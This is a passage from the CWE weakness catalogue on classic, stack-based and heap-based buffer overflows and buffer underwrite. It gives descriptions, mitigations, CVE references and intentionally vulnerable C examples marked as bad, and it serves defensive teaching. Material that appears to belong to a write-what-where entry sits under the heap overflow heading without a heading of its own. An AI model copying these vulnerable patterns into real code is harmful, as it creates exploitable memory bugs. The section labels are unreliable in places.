Windows provides the `_mbs` family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: `_mbsinc` `_mbsdec` `_mbsncat` `_mbsncpy` `_mbsnextc` `_mbsnset` `_mbsrev` `_mbsset` `_mbsstr` `_mbstok` `_mbccpy` `_mbslen`

### Notes

#### Applicable Platform

It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A5	Exact	Buffer Overflows

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR30-C	CWE More Abstract	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	CWE More Abstract	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	ENV01-C		Do not make assumptions about the size of an environment variable
CERT C Secure Coding	EXP39-C	Imprecise	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	FIO37-C		Do not assume character data has been read
CERT C Secure Coding	STR31-C	CWE More Abstract	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	CWE More Abstract	Do not pass a non-null-terminated character sequence to a library function that expects a string
WASC	7		Buffer Overflow
Software Fault Patterns	SFP8		Faulty Buffer Access

## CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

**Weakness ID :** 120

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

### Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

### Weakness Ordinalities

**Resultant :**

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** Assembly (Prevalence = Undetermined)

### Alternate Terms

**buffer overrun :** Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

**Unbounded Transfer :**

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</i>	
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU)  <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

#### Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

**Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Operation**

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### **Phase: Operation**

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### **Phase: Build and Compilation**

#### **Phase: Operation**

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

#### **Phase: Implementation**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

*Effectiveness = Moderate*

*This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).*

#### **Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

#### **Phase: Architecture and Design**

#### **Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

#### **Phase: Architecture and Design**

#### **Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

## Demonstrative Examples

### Example 1:

The following code asks the user to enter their last name and then attempts to store the value entered in the `last_name` array.

*Example Language: C*

*(bad)*

```
char last_name[20];printf ("Enter your last name: ");scanf ("%s", last_name);
```

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very\_very\_long\_last\_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

### Example 2:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

*Example Language: C*

*(bad)*

```
void manipulate_string(char* string){char buf[24];strcpy(buf, string);...}
```

However, the programmer does not ensure that the size of the data pointed to by `string` will fit in the local buffer and blindly copies the data with the potentially dangerous `strcpy()` function. This may result in a buffer overflow condition if an attacker can influence the contents of the `string` parameter.

### Example 3:

The excerpt below calls the `gets()` function in C, which is inherently unsafe.

*Example Language: C*

*(bad)*

```
char buf[24];printf("Please enter your name and press <Enter>\n");gets(buf);...}
```

However, the programmer uses the function `gets()` which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

### Example 4:

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the `gethostbyaddr` method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

Example Language: C

(bad)

```
... struct hostent *clienthp;char hostname[MAX_LEN]; // create server socket, bind to server address and listen on socket... //
accept client connections and process requestsint count = 0;for (count = 0; count < MAX_CONNECTIONS; count++) { int
clientlen = sizeof(struct sockaddr_in);int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);
if (clientsocket >= 0) { clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr),
AF_INET);strcpy(hostname, clienthp->h_name);logOutput("Accepted client connection from host ", hostname); // process
client request...close(clientsocket); } }close(serversocket); ...
```

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

### Observed Examples

Reference	Description
<b>CVE-2000-1094</b>	buffer overflow using command with long argument <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1094">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1094</a>
<b>CVE-1999-0046</b>	buffer overflow in local program using long environment variable <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0046">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0046</a>
<b>CVE-2002-1337</b>	buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<" <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1337">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1337</a>

### Notes

#### Relationship

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

### Terminology

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unbounded Transfer ('classic overflow')
7 Pernicious Kingdoms			Buffer Overflow
CLASP			Buffer overflow

## CWE-121: Stack-based Buffer Overflow

<b>Weakness ID</b> : 121	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	787	Out-of-bounds Write	1370
ChildOf	B	788	Access of Memory Location After End of Buffer	1372

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	B	787	Out-of-bounds Write	1370
ChildOf	B	788	Access of Memory Location After End of Buffer	1372

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX `system()` call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

### Alternate Terms

**Stack Overflow** : "Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.</i>	
Integrity Confidentiality Availability Access Control Other	Execute Unauthorized Code or Commands Bypass Protection Mechanism Other  <i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

### Potential Mitigations

#### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

#### Phase: Build and Compilation

Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

#### Phase: Implementation

Implement and perform bounds checking on input.

#### Phase: Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

#### Phase: Operation

Use OS-level preventative functionality, such as ASLR. This is not a complete solution.

### Demonstrative Examples

#### Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

*Example Language: C*

*(bad)*

```
#define BUFSIZE 256int main(int argc, char **argv) {char buf[BUFSIZE];strcpy(buf, argv[1]);}
```

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

#### Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(bad)*

```
void host_lookup(char *user_supplied_addr){ struct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t
inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */
validate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct
in_addr), AF_INET);strcpy(hostname, hp->h_name); }
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		970	SFP Secondary Cluster: Faulty Buffer Access	888	1631

## Notes

### Other

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## CWE-122: Heap-based Buffer Overflow

**Weakness ID** : 122

**Structure** : Simple

**Abstraction** : Variant

**Status**: Draft

### Description

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)	
	<i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Modify Memory	
	<i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.</i>	
Integrity Confidentiality Availability Access Control Other	Execute Unauthorized Code or Commands Bypass Protection Mechanism Other	
	<i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

### Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

#### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

#### Phase: Build and Compilation

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

#### Phase: Implementation

Implement and perform bounds checking on input.

#### Phase: Implementation

Strategy = Libraries or Frameworks

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

#### Phase: Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

### Demonstrative Examples

#### Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

Example Language: C

(bad)

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf;
    buf = (char *)malloc(sizeof(char)*BUFSIZE);
    strcpy(buf, argv[1]);
}
```

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

#### Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = '&';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
            dst_buf[dst_index++] = user_supplied_string[i];
        }
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Observed Examples

Reference	Description
<b>CVE-2007-4268</b>	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268</a>
<b>CVE-2009-2523</b>	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523</a>

**Weakness Ordinalities**

**Resultant :**

**Applicable Platforms**

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Likelihood Of Exploit**

High

**Common Consequences**

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	Gain Privileges or Assume Identity	
Access Control	DoS: Crash, Exit, or Restart Bypass Protection Mechanism	
<p><i>Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i></p>		
Integrity	DoS: Crash, Exit, or Restart	
Availability	Modify Memory	

Scope	Impact	Likelihood
	<i>Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.</i>	
Access Control Other	Bypass Protection Mechanism Other	
	<i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Language Selection*

Use a language that provides appropriate memory abstractions.

#### Phase: Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.

### Demonstrative Examples

#### Example 1:

The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

*Example Language: C*

*(bad)*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf1 = (char *) malloc(BUFSIZE);
    char *buf2 = (char *) malloc(BUFSIZE);
    strcpy(buf1, argv[1]);
    free(buf2);
}
```

Vulnerability in this case is dependent on memory layout. The call to `strcpy()` can be used to write past the end of `buf1`, and, with a typical layout, can overwrite the accounting information that the system keeps for `buf2` when it is allocated. Note that if the allocation header for `buf2` can be overwritten, `buf2` itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for `buf2` will probably be `buf1`, and the next chunk may be null. When the `free()` occurs, most memory allocators will rewrite the linked list using data from `buf2`. Particularly, the "next" chunk for `buf1` will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

## CWE-124: Buffer Underwrite ('Buffer Underflow')

**Weakness ID :** 124

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

### Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		787	Out-of-bounds Write	1370
ChildOf		786	Access of Memory Location Before Start of Buffer	1368
CanFollow		839	Numeric Range Comparison Without Minimum Check	1448

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		787	Out-of-bounds Write	1370
ChildOf		786	Access of Memory Location Before Start of Buffer	1368

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Alternate Terms

**buffer underrun** : Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart	
	<i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</i>	
Integrity Confidentiality Availability Access Control Other	Execute Unauthorized Code or Commands Modify Memory Bypass Protection Mechanism Other	
	<i>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.</i>	
Access Control Other	Bypass Protection Mechanism Other	
	<i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

### Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

#### Phase: Implementation

Sanity checks should be performed on all calculated values used as index or for pointer arithmetic.

### Demonstrative Examples

#### Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C

(bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) { char *retMessage;char *message = malloc(sizeof(char)*(length+1)); // copy input string to a temporary string char message[length+1];int index;for (index = 0; index < length; index++) {message[index] = strMessage[index];}message[index] = '\0'; // trim trailing whitespace int len = index-1;while
```

```
(isspace(message[len])) {message[len] = '\0';len--;} // return string without trailing whitespace retMessage = message;return retMessage; }
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

### Example 2:

The following is an example of code that may result in a buffer underwrite, if `find()` returns a negative value to indicate that `ch` is not found in `srcBuf`:

Example Language: C

(bad)

```
int main() {...strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);...}
```

If the index to `srcBuf` is somehow under user control, this is an arbitrary write-what-where condition.

### Observed Examples

Reference	Description
<b>CVE-2002-2227</b>	Unchecked length of SSLv2 challenge value leads to buffer underflow. <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227</a>
